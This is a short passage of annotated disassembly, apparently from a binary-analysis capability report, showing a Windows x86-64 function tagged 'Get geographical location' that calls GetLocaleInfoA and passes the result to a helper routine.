pop rbp
ret

Function at 0x405590
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x38
mov rax, qword [0x00409c18]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x20]
mov r9d, 6
mov edx, 0x1004
mov byte [rsp + 0x26], 0
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x4055d3
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
call fcn.00405c00
add rsp, 0x38
ret
lea rcx, [rsp + 0x20]
call fcn.004054d0
mov rcx, qword [rsp + 0x28]
call fcn.00405c00
add rsp, 0x38
ret